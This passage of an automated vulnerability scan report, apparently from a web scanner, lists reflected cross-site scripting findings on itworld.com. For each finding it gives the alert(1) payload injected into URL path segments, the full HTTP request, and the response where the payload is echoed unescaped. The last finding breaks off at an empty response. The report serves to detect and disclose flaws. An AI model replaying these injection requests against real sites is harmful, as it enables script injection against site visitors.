Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:39 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460399"
Content-Type: text/html; charset=utf-8
Content-Length: 57825
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:41 GMT
X-Varnish: 1038162467
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.jsb4ef5"><script>alert(1)</script>bd527ad5cce?h"/>
...[SNIP]...

1.147. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fafed"-alert(1)-"2dd4b1a63a4 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.jsfafed"-alert(1)-"2dd4b1a63a4?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460416"
Content-Type: text/html; charset=utf-8
Content-Length: 57605
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:57 GMT
X-Varnish: 1038163147
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...

s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.jsfafed"-alert(1)-"2dd4b1a63a4";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.148. http://www.itworld.com/sites/all/modules/contrib/ctools/js/ajax-responder.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/ajax-responder.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5adf7"-alert(1)-"689a46b3a6b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites5adf7"-alert(1)-"689a46b3a6b/all/modules/contrib/ctools/js/ajax-responder.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460085"
Content-Type: text/html; charset=utf-8
Content-Length: 57500
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:31 GMT
X-Varnish: 1959725231
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites5adf7"-alert(1)-"689a46b3a6b/all/modules/contrib/ctools/js/ajax-responder.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't
...[SNIP]...

1.149. http://www.itworld.com/sites/all/modules/contrib/ctools/js/ajax-responder.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/ajax-responder.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7dfbf"><script>alert(1)</script>d3d5d2973ea was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites7dfbf"><script>alert(1)</script>d3d5d2973ea/all/modules/contrib/ctools/js/ajax-responder.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:15 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460075"
Content-Type: text/html; charset=utf-8
Content-Length: 57720
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:18 GMT
X-Varnish: 1959724939
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites7dfbf"><script>alert(1)</script>d3d5d2973ea/all/modules/contrib/ctools/js/ajax-responder.js?h"/>
...[SNIP]...

1.150. http://www.itworld.com/sites/all/modules/contrib/ctools/js/ajax-responder.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/ajax-responder.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 95279"-alert(1)-"f226b924167 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib95279"-alert(1)-"f226b924167/ctools/js/ajax-responder.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:57 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460177"
Content-Type: text/html; charset=utf-8
Content-Length: 57505
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:02 GMT
X-Varnish: 252446832
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib95279"-alert(1)-"f226b924167/ctools/js/ajax-responder.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you r
...[SNIP]...

1.151. http://www.itworld.com/sites/all/modules/contrib/ctools/js/ajax-responder.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/ajax-responder.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1038"><script>alert(1)</script>6b484ebbda5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contribd1038"><script>alert(1)</script>6b484ebbda5/ctools/js/ajax-responder.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:35 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460155"
Content-Type: text/html; charset=utf-8
Content-Length: 57720
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:41 GMT
X-Varnish: 252446397
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contribd1038"><script>alert(1)</script>6b484ebbda5/ctools/js/ajax-responder.js?h"/>
...[SNIP]...

1.152. http://www.itworld.com/sites/all/modules/contrib/ctools/js/ajax-responder.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/ajax-responder.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa41b"-alert(1)-"ae8ec55816b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/ctoolsaa41b"-alert(1)-"ae8ec55816b/js/ajax-responder.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:24:00 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460240"
Content-Type: text/html; charset=utf-8
Content-Length: 57504
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:06 GMT
X-Varnish: 252448493
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
gerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/ctoolsaa41b"-alert(1)-"ae8ec55816b/js/ajax-responder.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requeste
...[SNIP]...

1.153. http://www.itworld.com/sites/all/modules/contrib/ctools/js/ajax-responder.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/ajax-responder.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b8bb"><script>alert(1)</script>a9023d95d6d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/ctools9b8bb"><script>alert(1)</script>a9023d95d6d/js/ajax-responder.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:23 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460203"
Content-Type: text/html; charset=utf-8
Content-Length: 57726
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:39 GMT
X-Varnish: 252447326
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/ctools9b8bb"><script>alert(1)</script>a9023d95d6d/js/ajax-responder.js?h"/>
...[SNIP]...

1.154. http://www.itworld.com/sites/all/modules/contrib/ctools/js/ajax-responder.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/ajax-responder.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cac2b"-alert(1)-"0a84c658c4a was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/ctools/js/ajax-responder.jscac2b"-alert(1)-"0a84c658c4a?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:21 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460321"
Content-Type: text/html; charset=utf-8
Content-Length: 57505
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:24 GMT
X-Varnish: 1038160213
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
08-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/ctools/js/ajax-responder.jscac2b"-alert(1)-"0a84c658c4a";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.155. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 883c7"-alert(1)-"b97a5e24e84 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites883c7"-alert(1)-"b97a5e24e84/all/modules/contrib/ctools/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:28 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460508"
Content-Type: text/html; charset=utf-8
Content-Length: 57408
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:29 GMT
X-Varnish: 1038165906
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites883c7"-alert(1)-"b97a5e24e84/all/modules/contrib/ctools/js/modal.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the
...[SNIP]...

1.156. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57388"><script>alert(1)</script>cc2cd84bd20 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites57388"><script>alert(1)</script>cc2cd84bd20/all/modules/contrib/ctools/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460502"
Content-Type: text/html; charset=utf-8
Content-Length: 57628
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:23 GMT
X-Varnish: 1038165738
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites57388"><script>alert(1)</script>cc2cd84bd20/all/modules/contrib/ctools/js/modal.js?h"/>
...[SNIP]...

1.157. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ca9f6"-alert(1)-"52c59f70c2f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/allca9f6"-alert(1)-"52c59f70c2f/modules/contrib/ctools/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

